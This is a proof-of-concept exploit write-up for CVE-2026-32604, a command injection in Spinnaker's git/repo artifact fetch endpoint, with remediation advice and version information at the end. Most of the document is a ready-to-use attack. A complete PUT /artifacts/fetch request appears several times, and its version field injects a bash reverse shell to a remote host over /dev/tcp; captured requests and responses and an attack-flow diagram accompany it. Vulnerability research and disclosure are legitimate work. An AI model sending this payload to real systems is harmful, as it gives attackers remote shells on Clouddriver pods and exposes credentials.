
Proof-of-concept exploit for CVE-2026-32604, a command injection RCE in Spinnaker's GitRepo artifact handling via the version field.
CVE-2026-32604 - Remote Code Execution in Spinnaker through the
git/repoartifact type.
This is a command injection / remote code execution vulnerability in Spinnaker's GitRepo artifact handling.
The vulnerable functionality allows user-controlled values supplied through the version field of a git/repo artifact to reach command execution without being properly sanitized.
The vulnerable endpoint is:
PUT /artifacts/fetch
The important part is that the application exposes the git/repo artifact provider through:
GET /artifacts/credentials
which returns:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
This confirms that the git/repo artifact type is available.
The vulnerable request is sent to:
PUT /artifacts/fetch
with a JSON body containing a Git repository artifact.
The version parameter can be manipulated with shell syntax.
For testing, I used:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
The complete request captured during the PoC was:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
The important parameter here is:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
The injected shell expression is appended after the expected Git branch/version value.
The # is used to comment out the remainder of the command after the injected expression.
The request was accepted by the vulnerable application.
The captured HTTP response was:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
The relevant point is that the vulnerable artifact type is present and the malicious version value is accepted by the artifact fetch endpoint.
Before testing the vulnerable endpoint, I verified that the target was responding:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Response:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
The PoC is basically:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── git/repo artifact type exposed
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = attacker-controlled Git repository/reference
└── version = injected shell command
│
└── command execution
The issue is not simply that the endpoint accepts a Git branch name. The problem is that attacker-controlled Git artifact data reaches a command execution context without being safely constrained to the expected Git version/branch syntax.
For quick reproduction, the core request is:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
The payload above is intended for a controlled lab environment only.
The vulnerable path involves the GitRepo artifact implementation processing attacker-controlled artifact information.
The expected value for version is something similar to:
main
but the application does not sufficiently constrain the value to that expected format.
Instead, shell syntax can be introduced:
main; <command> #
which changes the meaning of the resulting command.
This turns an artifact retrieval operation into arbitrary command execution in the context of the vulnerable Spinnaker Clouddriver service.
Successful exploitation can result in arbitrary command execution on the affected Clouddriver pod.
Depending on the permissions and environment of the compromised pod, this can potentially allow an attacker to:
The official Spinnaker advisory specifically notes that exploitation can expose credentials, remove files, or inject resources.
According to the Spinnaker security advisory, affected release lines include versions before:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Patched versions are:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
The vulnerability is tracked as CVE-2026-32604 and is classified as CWE-20: Improper Input Validation.
Upgrade Spinnaker to a patched release.
The upstream advisory also lists disabling the git/repo artifact type as a workaround for installations that cannot immediately upgrade.
Current Spinnaker releases should be used where possible rather than remaining on an affected release branch.
This PoC is provided for security research, vulnerability validation, and authorized testing.
Only run it against systems you own or have explicit permission to test.
I tested the vulnerability in an isolated lab environment.